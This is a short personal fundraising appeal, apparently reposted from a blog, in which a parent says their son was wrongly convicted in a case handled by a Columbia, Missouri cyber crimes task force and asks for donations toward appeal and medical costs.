Upon further research, (a matter of public record) I have come to understand that the number of Columbia, Missouri, Cyber Crimes Task Force convictions has a bearing on the amount of grant funding toward the staffing,training, salary, and update of equipment for the Cyber Crimes Task Force of Columbia, Missouri. 

This is another example of a criminal case whereby anyone -in this case, my son- can be wrongly accused, not afforded due process and subjected to bias, sent to prison and have their life negatively impacted as a result. 

Daniel is to be sentenced soon, 31 July, 2017.  The only hope to save him is the Appeal process.  He and I have maxed out funds for further defense.  I have reached out to his father, in hopes he would help.  Well, that was a failed attempt.  This is his only son, a son who has tried for years to have a father and son relationship, to no avail.  So, please, if you find it in your heart to contribute to this fundraising for his legal fees and needed medical attention, to correct the injustice and help him get his life back it will be GREATLY APPRECIATED.  THANK YOU   Note:  If you have any questions please feel free to contact me.  Again, Thank you. 

Funded Justice

from Blogger http://ift.tt/2vPNTy4